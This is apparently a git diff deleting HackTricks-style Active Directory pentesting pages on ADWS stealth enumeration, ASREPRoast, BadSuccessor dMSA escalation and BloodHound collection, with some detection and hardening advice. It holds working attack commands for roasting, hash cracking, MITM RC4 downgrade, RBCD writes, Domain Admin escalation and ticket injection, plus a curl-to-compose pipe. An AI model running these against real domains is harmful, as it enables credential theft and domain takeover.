----
-## Hardening & Detection
-
-1. **Patch / firmware-update** MFPs promptly (check vendor PSIRT bulletins).
-2. **Least-Privilege Service Accounts** – never use Domain Admin for LDAP/SMB/SMTP; restrict to *read-only* OU scopes.
-3. **Restrict Management Access** – place printer web/IPP/SNMP interfaces in a management VLAN or behind an ACL/VPN.
-4. **Disable Unused Protocols** – FTP, Telnet, raw-9100, older SSL ciphers.
-5. **Enable Audit Logging** – some devices can syslog LDAP/SMTP failures; correlate unexpected binds.
-6. **Monitor for Clear-Text LDAP binds** on unusual sources (printers should normally talk only to DCs).
-7. **SNMPv3 or disable SNMP** – community `public` often leaks device & LDAP config.
-
----
-## References
-
-- [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
-- Rapid7. “Xerox VersaLink C7025 MFP Pass-Back Attack Vulnerabilities.” February 2025.  
-- Canon PSIRT. “Vulnerability Mitigation Against SMTP/LDAP Passback for Laser Printers and Small Office Multifunction Printers.” May 2025.
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/adws-enumeration.md b/src/windows-hardening/active-directory-methodology/adws-enumeration.md
deleted file mode 100644
index bc71dd1d7a4..00000000000
--- a/src/windows-hardening/active-directory-methodology/adws-enumeration.md
+++ /dev/null
@@ -1,234 +0,0 @@
-# Active Directory Web Services (ADWS) Enumeration & Stealth Collection
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## What is ADWS?
-
-Active Directory Web Services (ADWS) is **enabled by default on every Domain Controller since Windows Server 2008 R2** and listens on TCP **9389**.  Despite the name, **no HTTP is involved**.  Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
-
-* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
-
-Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, **enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic**.  For operators this means:
-
-* Stealthier recon – Blue teams often concentrate on LDAP queries.
-* Freedom to collect from **non-Windows hosts (Linux, macOS)** by tunnelling 9389/TCP through a SOCKS proxy.
-* The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform **writes** (e.g. `msDs-AllowedToActOnBehalfOfOtherIdentity` for **RBCD**).
-
-ADWS interactions are implemented over WS-Enumeration: every query starts with an `Enumerate` message that defines the LDAP filter/attributes and returns an `EnumerationContext` GUID, followed by one or more `Pull` messages that stream up to the server-defined result window. Contexts age out after ~30 minutes, so tooling either needs to page results or split filters (prefix queries per CN) to avoid losing state. When asking for security descriptors, specify the `LDAP_SERVER_SD_FLAGS_OID` control to omit SACLs, otherwise ADWS simply drops the `nTSecurityDescriptor` attribute from its SOAP response.
-
-> NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.
-
-## SoaPy – Native Python Client
-
-[SoaPy](https://github.com/logangoins/soapy) is a **full re-implementation of the ADWS protocol stack in pure Python**.  It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
-
-### Key Features
-
-* Supports **proxying through SOCKS** (useful from C2 implants).
-* Fine-grained search filters identical to LDAP `-q '(objectClass=user)'`.
-* Optional **write** operations ( `--set` / `--delete` ).
-* **BOFHound output mode** for direct ingestion into BloodHound.
-* `--parse` flag to prettify timestamps / `userAccountControl` when human readability is required.
-
-### Targeted collection flags & write operations
-
-SoaPy ships with curated switches that replicate the most common LDAP hunting tasks over ADWS: `--users`, `--computers`, `--groups`, `--spns`, `--asreproastable`, `--admins`, `--constrained`, `--unconstrained`, `--rbcds`, plus raw `--query` / `--filter` knobs for custom pulls. Pair those with write primitives such as `--rbcd <source>` (sets `msDs-AllowedToActOnBehalfOfOtherIdentity`), `--spn <service/cn>` (SPN staging for targeted Kerberoasting) and `--asrep` (flip `DONT_REQ_PREAUTH` in `userAccountControl`).
-
-Example targeted SPN hunt that only returns `samAccountName` and `servicePrincipalName`:
-
-```bash
-soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
-      --spns -f samAccountName,servicePrincipalName --parse
-```
-
-Use the same host/credentials to immediately weaponise findings: dump RBCD-capable objects with `--rbcds`, then apply `--rbcd 'WEBSRV01$' --account 'FILE01$'` to stage a Resource-Based Constrained Delegation chain (see [Resource-Based Constrained Delegation](resource-based-constrained-delegation.md) for the full abuse path).
-
-### Installation (operator host)
-
-```bash
-python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt
-```
-
-## ADWSDomainDump – LDAPDomainDump over ADWS (Linux/Windows)
-
-* Fork of `ldapdomaindump` that swaps LDAP queries for ADWS calls on TCP/9389 to reduce LDAP-signature hits.
-* Performs an initial reachability check to 9389 unless `--force` is passed (skips the probe if port scans are noisy/filtered).
-* Tested against Microsoft Defender for Endpoint and CrowdStrike Falcon with successful bypass in the README.
-
-### Installation
-
-```bash
-pipx install .
-```
-
-### Usage
-
-```bash
-adwsdomaindump -u 'thewoods.local\mathijs.verschuuren' -p 'password' -n 10.10.10.1 dc01.thewoods.local
-```
-
-Typical output logs the 9389 reachability check, ADWS bind, and dump start/finish:
-
-```text
-[*] Connecting to ADWS host...
-[+] ADWS port 9389 is reachable
-[*] Binding to ADWS host
-[+] Bind OK
-[*] Starting domain dump
-[+] Domain dump finished
-```
-
-## Sopa - A practical client for ADWS in Golang
-
-Similarly as soapy, [sopa](https://github.com/Macmod/sopa) implements the ADWS protocol stack (MS-NNS + MC-NMF + SOAP) in Golang, exposing command-line flags to issue ADWS calls such as:
-
-* **Object search & retrieval** - `query` / `get`
-* **Object lifecycle** - `create [user|computer|group|ou|container|custom]` and `delete`
-* **Attribute editing** - `attr [add|replace|delete]`
-* **Account management** - `set-password` / `change-password`
-* and others such as `groups`, `members`, `optfeature`, `info [version|domain|forest|dcs]`, etc.
-
-### Protocol mapping highlights
-
-* LDAP-style searches are issued via **WS-Enumeration** (`Enumerate` + `Pull`) with attribute projection, scope control (Base/OneLevel/Subtree) and pagination.
-* Single-object fetch uses **WS-Transfer** `Get`; attribute changes use `Put`; deletions use `Delete`.
-* Built-in object creation uses **WS-Transfer ResourceFactory**; custom objects use an **IMDA AddRequest** driven by YAML templates.
-* Password operations are **MS-ADCAP** actions (`SetPassword`, `ChangePassword`).
-
-### Unauthenticated metadata discovery (mex)
-
-ADWS exposes WS-MetadataExchange without credentials, which is a quick way to validate exposure before authenticating:
-
-```bash
-sopa mex --dc <DC>
-```
-
-### DNS/DC discovery & Kerberos targeting notes
-
-Sopa can resolve DCs via SRV if `--dc` is omitted and `--domain` is provided. It queries in this order and uses the highest-priority target:
-
-```text
-_ldap._tcp.<domain>
-_kerberos._tcp.<domain>
-```
-
-Operationally, prefer a DC-controlled resolver to avoid failures in segmented environments:
-
-* Use `--dns <DC-IP>` so **all** SRV/PTR/forward lookups go through the DC DNS.
-* Use `--dns-tcp` when UDP is blocked or SRV answers are large.
-* If Kerberos is enabled and `--dc` is an IP, sopa performs a **reverse PTR** to obtain an FQDN for correct SPN/KDC targeting. If Kerberos is not used, no PTR lookup happens.
-
-Example (IP + Kerberos, forced DNS via the DC):
-
-```bash
-sopa info version --dc 192.168.1.10 --dns 192.168.1.10 -k --domain corp.local -u user -p pass
-```
-
-### Auth material options
-
-Besides plaintext passwords, sopa supports **NT hashes**, **Kerberos AES keys**, **ccache**, and **PKINIT certificates** (PFX or PEM) for ADWS auth. Kerberos is implied when using `--aes-key`, `-c` (ccache) or certificate-based options.
-
-```bash
-# NT hash
-sopa --dc <DC> -d <DOMAIN> -u <USER> -H <NT_HASH> query --filter '(objectClass=user)'
-
-# Kerberos ccache
-sopa --dc <DC> -d <DOMAIN> -u <USER> -c <CCACHE> info domain
-```
-
-### Custom object creation via templates
-
-For arbitrary object classes, the `create custom` command consumes a YAML template that maps to an IMDA `AddRequest`:
-
-* `parentDN` and `rdn` define the container and relative DN.
-* `attributes[].name` supports `cn` or namespaced `addata:cn`.
-* `attributes[].type` accepts `string|int|bool|base64|hex` or explicit `xsd:*`.
-* Do **not** include `ad:relativeDistinguishedName` or `ad:container-hierarchy-parent`; sopa injects them.
-* `hex` values are converted to `xsd:base64Binary`; use `value: ""` to set empty strings.
-
-## SOAPHound – High-Volume ADWS Collection (Windows)
-
-[FalconForce SOAPHound](https://github.com/FalconForceTeam/SOAPHound) is a .NET collector that keeps all LDAP interactions inside ADWS and emits BloodHound v4-compatible JSON. It builds a complete cache of `objectSid`, `objectGUID`, `distinguishedName` and `objectClass` once (`--buildcache`), then re-uses it for high-volume `--bhdump`, `--certdump` (ADCS), or `--dnsdump` (AD-integrated DNS) passes so only ~35 critical attributes ever leave the DC. AutoSplit (`--autosplit --threshold <N>`) automatically shards queries by CN prefix to stay under the 30-minute EnumerationContext timeout in large forests.
-
-Typical workflow on a domain-joined operator VM:
-
-```powershell
-# Build cache (JSON map of every object SID/GUID)
-SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
-
-# BloodHound collection in autosplit mode, skipping LAPS noise
-SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
-              --autosplit --threshold 1200 --nolaps \
-              -o C:\temp\BH-output
-
-# ADCS & DNS enrichment for ESC chains
-SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
-SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
-```
-
-Exported JSON slots directly into SharpHound/BloodHound workflows—see [BloodHound methodology](bloodhound.md) for downstream graphing ideas. AutoSplit makes SOAPHound resilient on multi-million object forests while keeping the query count lower than ADExplorer-style snapshots.
-
-## Stealth AD Collection Workflow
-
-The following workflow shows how to enumerate **domain & ADCS objects** over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux:
-
-1. **Tunnel 9389/TCP** from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.).  Export `export HTTPS_PROXY=socks5://127.0.0.1:1080` or use SoaPy’s `--proxyHost/--proxyPort`.
-
-2. **Collect the root domain object:**
-
-```bash
-soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-      -q '(objectClass=domain)' \
-      | tee data/domain.log
-```
-
-3. **Collect ADCS-related objects from the Configuration NC:**
-
-```bash
-soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-      -dn 'CN=Configuration,DC=ludus,DC=domain' \
-      -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
-           (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
-      | tee data/adcs.log
-```
-
-4. **Convert to BloodHound:**
-
-```bash
-bofhound -i data --zip   # produces BloodHound.zip
-```
-
-5. **Upload the ZIP** in the BloodHound GUI and run cypher queries such as `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` to reveal certificate escalation paths (ESC1, ESC8, etc.).
-
-### Writing `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
-
-```bash
-soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
-      --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
-      msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
-```
-
-Combine this with `s4u2proxy`/`Rubeus /getticket` for a full **Resource-Based Constrained Delegation** chain (see [Resource-Based Constrained Delegation](resource-based-constrained-delegation.md)).
-
-## Tooling Summary
-
-| Purpose | Tool | Notes |
-|---------|------|-------|
-| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write |
-| High-volume ADWS dump | [SOAPHound](https://github.com/FalconForceTeam/SOAPHound) | .NET, cache-first, BH/ADCS/DNS modes |
-| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Converts SoaPy/ldapsearch logs |
-| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Can be proxied through same SOCKS |
-| ADWS enumeration & object changes | [sopa](https://github.com/Macmod/sopa) | Generic client to interface with known ADWS endpoints - allows for enumeration, object creation, attribute modifications, and password changes |
-
-## References
-
-* [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
-* [SoaPy GitHub](https://github.com/logangoins/soapy)
-* [BOFHound GitHub](https://github.com/bohops/BOFHound)
-* [ADWSDomainDump GitHub](https://github.com/mverschu/adwsdomaindump)
-* [Sopa GitHub](https://github.com/Macmod/sopa)
-* [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
-* [IBM X-Force Red – Stealthy Enumeration of Active Directory Environments Through ADWS](https://logan-goins.com/2025-02-21-stealthy-enum-adws/)
-* [FalconForce – SOAPHound tool to collect Active Directory data via ADWS](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/asreproast.md b/src/windows-hardening/active-directory-methodology/asreproast.md
deleted file mode 100644
index 112b13f671f..00000000000
--- a/src/windows-hardening/active-directory-methodology/asreproast.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# ASREPRoast
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## ASREPRoast
-
-ASREPRoast is a security attack that exploits users who lack the **Kerberos pre-authentication required attribute**. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.
-
-The main requirements for this attack are:
-
-- **Lack of Kerberos pre-authentication**: Target users must not have this security feature enabled.
-- **Connection to the Domain Controller (DC)**: Attackers need access to the DC to send requests and receive encrypted messages.
-- **Optional domain account**: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.
-
-#### Enumerating vulnerable users (need domain credentials)
-
-```bash:Using Windows
-Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
-```
-
-```bash:Using Linux
-bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
-```
-
-#### Request AS_REP message
-
-```bash:Using Linux
-# Installed package entrypoint (same logic as GetNPUsers.py)
-impacket-GetNPUsers -no-pass -usersfile usernames.txt -dc-ip <dc_ip> <domain>/ -format hashcat -outputfile hashes.asreproast
-# Use domain creds to LDAP-enumerate roastable users and request them
-impacket-GetNPUsers <domain>/<user>:<pass> -request -format hashcat -outputfile hashes.asreproast
-# If you are running directly from the examples/ directory
-python GetNPUsers.py -no-pass <domain>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
-```
-
-```bash:Using Windows
-.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username] [/aes]
-Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
-```
-
-> [!WARNING]
-> Rubeus requests **RC4** by default, so Event ID **4768** usually shows **preauth type 0** and **ticket encryption type 0x17**. If you add **`/aes`** (or RC4 is disabled for the target), expect **AES etypes** instead.
-
-#### Quick one-liners (Linux)
-
-- Enumerate potential targets first (e.g., from leaked build paths) with Kerberos userenum: `kerbrute userenum users.txt -d domain --dc dc.domain`
-- Roast a whole username list without valid creds using NetExec: `netexec ldap <dc> -u users.txt -p '' --asreproast out.asreproast`
-- If you do have creds, let NetExec query LDAP and request every roastable account for you: `netexec ldap <dc> -u <user> -p '<pass>' --asreproast out.asreproast [--kdcHost <dc_fqdn>]`
-- If the output starts with **`$krb5asrep$23$`**, crack it with Hashcat **`-m 18200`**. If it starts with **`$krb5asrep$17$`** or **`$krb5asrep$18$`**, prefer John **`--format=krb5asrep`**.
-
-### Cracking
-
-Don't assume every AS-REP roast is RC4. Modern tooling can return **RC4** (`$krb5asrep$23$`) or **AES** (`$krb5asrep$17$` / `$krb5asrep$18$`) depending on the requested/negotiated enctype. **`hashcat -m 18200`** is for **etype 23**, while **John** handles `krb5asrep` directly for **17/18/23**.
-
-```bash
-john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
-hashcat -m 18200 -a 0 hashes.asreproast passwords_kerb.txt # RC4 / etype 23
-```
-
-### Persistence
-
-Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
-
-```bash:Using Windows
-# Toggle DONT_REQ_PREAUTH on (run it again to toggle it back off during cleanup)
-Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
-```
-
-```bash:Using Linux
-# Enable ASREPRoastability
-bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'
-# Cleanup
-bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 remove uac -f DONT_REQ_PREAUTH 'target_user'
-```
-
-## ASREProast without credentials
-
-An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network without relying on Kerberos pre-authentication being disabled. It therefore works for all users on the VLAN.\
-If you want the related no-credential trick that returns a **service ticket** instead of a **TGT** from a no-preauth principal, see [Kerberoast](kerberoast.md).
-
-[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) allows us to do so. `relay` mode is the interesting one offensively because it can force **RC4** when the client still advertises **etype 23**; `listen` stays passive and just captures whatever the client/DC negotiated.
-
-```bash
-# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
-ASRepCatcher relay -dc $DC_IP
-
-# Disabling ARP spoofing, the mitm position must be obtained differently
-ASRepCatcher relay -dc $DC_IP --disable-spoofing
-
-# Passive listening of AS-REP packets, no packet alteration
-ASRepCatcher listen
-```
-
-## References
-
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
-- [Roasting AES AS-REPs – MWR CyberSec](https://mwrcybersec.com/roasting-aes-as-reps)
-- [NetExec Wiki – ASREPRoast](https://www.netexec.wiki/ldap-protocol/asreproast)
-- [0xdf – HTB Bruno (AS-REP roast → ZipSlip → DLL hijack)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
-
----
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md
deleted file mode 100644
index c341c2a7c04..00000000000
--- a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md
+++ /dev/null
@@ -1,108 +0,0 @@
-# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Delegated Managed Service Accounts (**dMSA**) are the next-generation successor of **gMSA** that ship in Windows Server 2025.  A legitimate migration workflow allows administrators to replace an *old* account (user, computer or service account) with a dMSA while transparently preserving permissions.  The workflow is exposed through PowerShell cmdlets such as `Start-ADServiceAccountMigration` and `Complete-ADServiceAccountMigration` and relies on two LDAP attributes of the **dMSA object**:
-
-* **`msDS-ManagedAccountPrecededByLink`** – *DN link* to the superseded (old) account.
-* **`msDS-DelegatedMSAState`**       – migration state (`0` = none, `1` = in-progress, `2` = *completed*).
-
-If an attacker can create **any** dMSA inside an OU and directly manipulate those 2 attributes, LSASS & the KDC will treat the dMSA as a *successor* of the linked account.  When the attacker subsequently authenticates as the dMSA **they inherit all the privileges of the linked account** – up to **Domain Admin** if the Administrator account is linked.
-
-This technique was coined **BadSuccessor** by Unit 42 in 2025.  At the time of writing **no security patch** is available; only hardening of OU permissions mitigates the issue.
-
-### Attack prerequisites
-
-1. An account that is *allowed* to create objects inside **an Organizational Unit (OU)** *and* has at least one of:
-   * `Create Child` → **`msDS-DelegatedManagedServiceAccount`** object class
-   * `Create Child` → **`All Objects`** (generic create)
-2. Network connectivity to LDAP & Kerberos (standard domain joined scenario / remote attack).
-
-## Enumerating Vulnerable OUs
-
-Unit 42 released a PowerShell helper script that parses security descriptors of each OU and highlights the required ACEs:
-
-```powershell
-Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
-```
-
-Under the hood the script runs a paged LDAP search for `(objectClass=organizationalUnit)` and checks every `nTSecurityDescriptor` for
-
-* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
-* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (object class *msDS-DelegatedManagedServiceAccount*)
-
-## Exploitation Steps
-
-Once a writable OU is identified the attack is only 3 LDAP writes away:
-
-```powershell
-# 1. Create a new delegated MSA inside the delegated OU
-New-ADServiceAccount -Name attacker_dMSA \
-                     -DNSHostName host.contoso.local \
-                     -Path "OU=DelegatedOU,DC=contoso,DC=com"
-
-# 2. Point the dMSA to the target account (e.g. Domain Admin)
-Set-ADServiceAccount attacker_dMSA -Add \
-    @{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
-
-# 3. Mark the migration as *completed*
-Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
-```
-
-After replication the attacker can simply **logon** as `attacker_dMSA$` or request a Kerberos TGT – Windows will build the token of the *superseded* account.
-
-### Automation
-
-Several public PoCs wrap the entire workflow including password retrieval and ticket management:
-
-* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
-* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
-* NetExec module – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
-
-### Post-Exploitation
-
-```powershell
-# Request a TGT for the dMSA and inject it (Rubeus)
-Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
-Rubeus ptt /ticket:<Base64TGT>
-
-# Access Domain Admin resources
-dir \\DC01\C$
-```
-
-## Detection & Hunting
-
-Enable **Object Auditing** on OUs and monitor for the following Windows Security Events:
-
-* **5137** – Creation of the **dMSA** object
-* **5136** – Modification of **`msDS-ManagedAccountPrecededByLink`**
-* **4662** – Specific attribute changes
-  * GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
-  * GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
-* **2946** – TGT issuance for the dMSA
-
-Correlating `4662` (attribute modification), `4741` (creation of a computer/service account) and `4624` (subsequent logon) quickly highlights BadSuccessor activity.  XDR solutions such as **XSIAM** ship with ready-to-use queries (see references).
-
-## Mitigation
-
-* Apply the principle of **least privilege** – only delegate *Service Account* management to trusted roles.
-* Remove `Create Child` / `msDS-DelegatedManagedServiceAccount` from OUs that do not explicitly require it.
-* Monitor for the event IDs listed above and alert on *non-Tier-0* identities creating or editing dMSAs.
-
-## See also
-
-
-{{#ref}}
-golden-dmsa-gmsa.md
-{{#endref}}
-
-## References
-
-- [Unit42 – When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
-- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
-- [BadSuccessor.ps1 – Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
-- [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md
deleted file mode 100644
index eacecdca715..00000000000
--- a/src/windows-hardening/active-directory-methodology/bloodhound.md
+++ /dev/null
@@ -1,157 +0,0 @@
-# BloodHound & Other Active Directory Enumeration Tools
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-{{#ref}}
-adws-enumeration.md
-{{#endref}}
-
-> NOTE: This page groups some of the most useful utilities to **enumerate** and **visualise** Active Directory relationships.  For collection over the stealthy **Active Directory Web Services (ADWS)** channel check the reference above.
-
----
-
-## AD Explorer
-
-[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) is an advanced **AD viewer & editor** which allows:
-
-* GUI browsing of the directory tree
-* Editing of object attributes & security descriptors
-* Snapshot creation / comparison for offline analysis
-
-### Quick usage
-
-1. Start the tool and connect to `dc01.corp.local` with any domain credentials.
-2. Create an offline snapshot via `File ➜ Create Snapshot`.
-3. Compare two snapshots with `File ➜ Compare` to spot permission drifts.
-
----
-
-## ADRecon
-
-[ADRecon](https://github.com/adrecon/ADRecon) extracts a large set of artefacts from a domain (ACLs, GPOs, trusts, CA templates …) and produces an **Excel report**.
-
-```powershell
-# On a Windows host in the domain
-PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
-```
-
----
-
-## BloodHound (graph visualisation)
-
-[BloodHound](https://github.com/SpecterOps/BloodHound) uses graph theory to reveal hidden privilege relationships inside on-prem AD, Entra ID, and any extra attack-surface data you ingest through OpenGraph.
-
-### Deployment (Docker CE)
-
-```bash
-curl -L https://ghst.ly/getbhce | docker compose -f - up
-# Web UI ➜ http://localhost:8080  (user: admin / password from logs)
-```
-
-### Collectors
-
-* `SharpHound.exe` / `Invoke-BloodHound` – native or PowerShell variant
-* `RustHound-CE` – cross-platform CE collector for Linux, macOS, and Windows
-* `NetExec --bloodhound` – quick LDAP-driven collection from Linux
-* `AzureHound` – Entra ID enumeration
-* **SoaPy + BOFHound** – ADWS collection (see link at top)
-
-> BloodHound CE `v8+` changed the collector output format when OpenGraph landed. After upgrading from legacy BloodHound or older CE installs, re-run discovery with current collectors before importing the data.
-
-#### Common SharpHound modes
-
-```powershell
-SharpHound.exe --CollectionMethods All               # Full sweep (noisy)
-SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
-SharpHound.exe --Stealth --LDAP                      # Low noise LDAP only
-SharpHound.exe --CollectionMethods Session --Loop --Loopduration 03:09:41
-```
-
-The collectors generate JSON which is ingested via the BloodHound GUI.
-
-#### SharpHound from a non-domain-joined Windows host
-
-If your operator VM is not joined to the target domain, point DNS to a DC, start a **network-only** shell, verify you can see `SYSVOL`/`NETLOGON` on a DC, and then collect against the remote domain:
-
-```cmd
-runas /netonly /user:CORP\svc_bh cmd.exe
-net view \\dc01.corp.local
-SharpHound.exe -d corp.local --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
-```
-
-This is useful for disposable jump boxes or operator workstations that should not be domain-joined.
-
-#### Cross-platform collection from Linux/macOS
-
-```bash
-# CE-compatible ZIP from Linux/macOS/Windows
-rusthound-ce -d corp.local -u svc.collector@corp.local -p 'Passw0rd!' -z
-
-# Quick LDAP-driven BloodHound dump from Linux
-nxc ldap dc01.corp.local -u svc.collector -p 'Passw0rd!' --bloodhound --collection All
-```
-
-`RustHound-CE` is a good default when you want CE-compatible output from a non-Windows host. `NetExec` is convenient when you are already using it for LDAP validation or spraying and want a quick graph import. For non-AD datasets, BloodHound OpenGraph can be extended with collectors such as [ShareHound](../../network-services-pentesting/pentesting-smb/README.md).
-
-### Privilege & logon-right collection
-
-Windows **token privileges** (e.g., `SeBackupPrivilege`, `SeDebugPrivilege`, `SeImpersonatePrivilege`, `SeAssignPrimaryTokenPrivilege`) can bypass DACL checks, so mapping them domain-wide exposes local LPE edges that ACL-only graphs miss. **Logon rights** (`SeInteractiveLogonRight`, `SeRemoteInteractiveLogonRight`, `SeNetworkLogonRight`, `SeServiceLogonRight`, `SeBatchLogonRight` and their `SeDeny*` counterparts) are enforced by LSA before a token even exists, and denies take precedence, so they materially gate lateral movement (RDP/SMB/scheduled task/service logon).
-
-**Run collectors elevated** when possible: UAC creates a filtered token for interactive admins (via `NtFilterToken`), stripping sensitive privileges and marking admin SIDs as deny-only. If you enumerate privileges from a non-elevated shell, high-value privileges will be invisible and BloodHound won’t ingest the edges.
-
-Two complementary SharpHound collection strategies now exist:
-
-- **GPO/SYSVOL parsing (stealthy, low-privilege):**
-  1. Enumerate GPOs over LDAP (`(objectCategory=groupPolicyContainer)`) and read each `gPCFileSysPath`.
-  2. Fetch `MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` from SYSVOL and parse the `[Privilege Rights]` section that maps privilege/logon-right names to SIDs.
-  3. Resolve GPO links via `gPLink` on OUs/sites/domains, list computers in the linked containers, and attribute the rights to those machines.
-  4. Upside: works with a normal user and is quiet; downside: only sees rights pushed via GPO (local tweaks are missed).
-
-- **LSA RPC enumeration (noisy, accurate):**
-  - From a context with local admin on the target, open the Local Security Policy and call `LsaEnumerateAccountsWithUserRight` for each privilege/logon right to enumerate assigned principals over RPC.
-  - Upside: captures rights set locally or outside GPO; downside: noisy network traffic and admin requirement on every host.
-
-**Example abuse path surfaced by these edges:** `CanRDP` ➜ host where your user also has `SeBackupPrivilege` ➜ start an elevated shell to avoid filtered tokens ➜ use backup semantics to read `SAM` and `SYSTEM` hives despite restrictive DACLs ➜ exfiltrate and run `secretsdump.py` offline to recover the local Administrator NT hash for lateral movement/privilege escalation.
-
-### Prioritising Kerberoasting with BloodHound
-
-Use graph context to keep roasting targeted:
-
